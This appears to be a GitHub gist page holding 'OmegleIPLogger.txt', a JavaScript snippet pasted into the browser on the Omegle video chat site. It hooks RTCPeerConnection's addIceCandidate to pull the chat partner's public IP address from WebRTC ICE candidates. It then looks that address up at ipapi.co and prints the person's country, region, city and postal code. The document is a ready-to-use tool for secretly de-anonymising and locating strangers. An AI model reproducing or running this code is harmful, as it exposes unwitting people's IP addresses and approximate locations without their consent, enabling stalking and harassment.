Skip to content

Instantly share code, notes, and snippets.

@1trackprojects1
Created November 24, 2020 11:28
Show Gist options
  • Save 1trackprojects1/2a2c50f4eec9bc86b5ee6fd96d8ef9db to your computer and use it in GitHub Desktop.
Save 1trackprojects1/2a2c50f4eec9bc86b5ee6fd96d8ef9db to your computer and use it in GitHub Desktop.

Revisions

  1. 1trackprojects1 created this gist Nov 24, 2020.
    35 changes: 35 additions & 0 deletions OmegleIPLogger.txt
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,35 @@
    function httpGetAsync(theUrl, callback) {
    var xmlHttp = new XMLHttpRequest();
    xmlHttp.onreadystatechange = function () {
    if (xmlHttp.readyState == 4 && xmlHttp.status == 200)
    callback(xmlHttp.responseText);
    }
    xmlHttp.open("GET", theUrl, true);
    xmlHttp.send(null);
    }

    window.oRTCPeerConnection = window.oRTCPeerConnection || window.RTCPeerConnection

    window.RTCPeerConnection = function (...args) {
    const pc = new window.oRTCPeerConnection(...args)

    pc.oaddIceCandidate = pc.addIceCandidate

    pc.addIceCandidate = function (iceCandidate, ...rest) {
    const fields = iceCandidate.candidate.split(' ')

    if (fields[7] === 'srflx') {
    console.log('-------------------------------------------')
    console.log('User IP Address:', fields[4])
    httpGetAsync('https://ipapi.co/' + fields[4] + '/json/', function success(response) {
    var response = JSON.parse(response)
    console.log('User Country:', response.country_name)
    console.log('User Region:', response.region)
    console.log('User City:', response.city)
    console.log('User Postal Code:', response.postal)
    })
    }
    return pc.oaddIceCandidate(iceCandidate, ...rest)
    }
    return pc
    }